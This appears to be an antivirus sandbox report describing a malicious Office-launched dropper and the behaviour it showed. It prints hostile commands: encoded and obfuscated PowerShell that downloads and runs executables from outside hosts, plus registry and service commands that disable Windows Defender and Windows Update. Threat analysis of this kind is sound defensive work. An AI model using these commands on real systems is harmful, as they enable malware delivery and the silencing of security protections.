Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
Downloads
- https://gitlab.com/2iyj8qr94xwwja4g/base/-/raw/master/base
Executes the following (exploit)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -w 1 -exec bypass -ec JABjAG8AbQAgAD0AIAAiAFUAdwBCAGwAQQBIAFEAQQBMAFEAQgBOAEEASABBAEEAVQBBAEIAeQBBAEcAVQBBAFoAZwBCAGwAQQBIAEkAQQBaAFEAQgB1AEEARwBNAEEAWgBRAEEAZwBBAEMAMABBAFIAQQBCAHAAQQBIAE0AQQB...
Modifies file system
Creates the following files
- %APPDATA%\office1.exe
Network activity
TCP
- 'te#####a.hostigger.com':443
- 'gi##ab.com':443
UDP
- DNS ASK te#####a.hostigger.com
- DNS ASK gi##ab.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\office1.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' '(&'+'(G'+'C'+'%%%'.replace('%%%','M')+' *W-'+'O*)'+ 'Ne'+'t.'+'W'+'eb'+'C'+'li'+'ent)'+'.D'+'ow'+'nl'+'oa'+'d'+'F'+'il'+'e(''https://testarea.hostigger.com/css/file-71421.exe'',''%APPDATA%''+'...' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -w 1 -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAYwBtAGQAIAAvAGMAIAByAGUAZwAgAGEAZA...' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\cmd.exe' /c start /min powershell $Computer = '.';$c = [WMICLASS]"""\\$computer\root\cimv2:WIn32_Process""";$f =[WMICLASS]"""\\$computer\root\cimv2:Win32_ProcessStartup""";$ty =$f.CreateInstance();$ty.S...
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c sc stop wuauserv
- '%WINDIR%\syswow64\sc.exe' stop wuauserv
- '%WINDIR%\syswow64\cmd.exe' /c sc config wuauserv start= disabled
- '%WINDIR%\syswow64\sc.exe' config wuauserv start= disabled
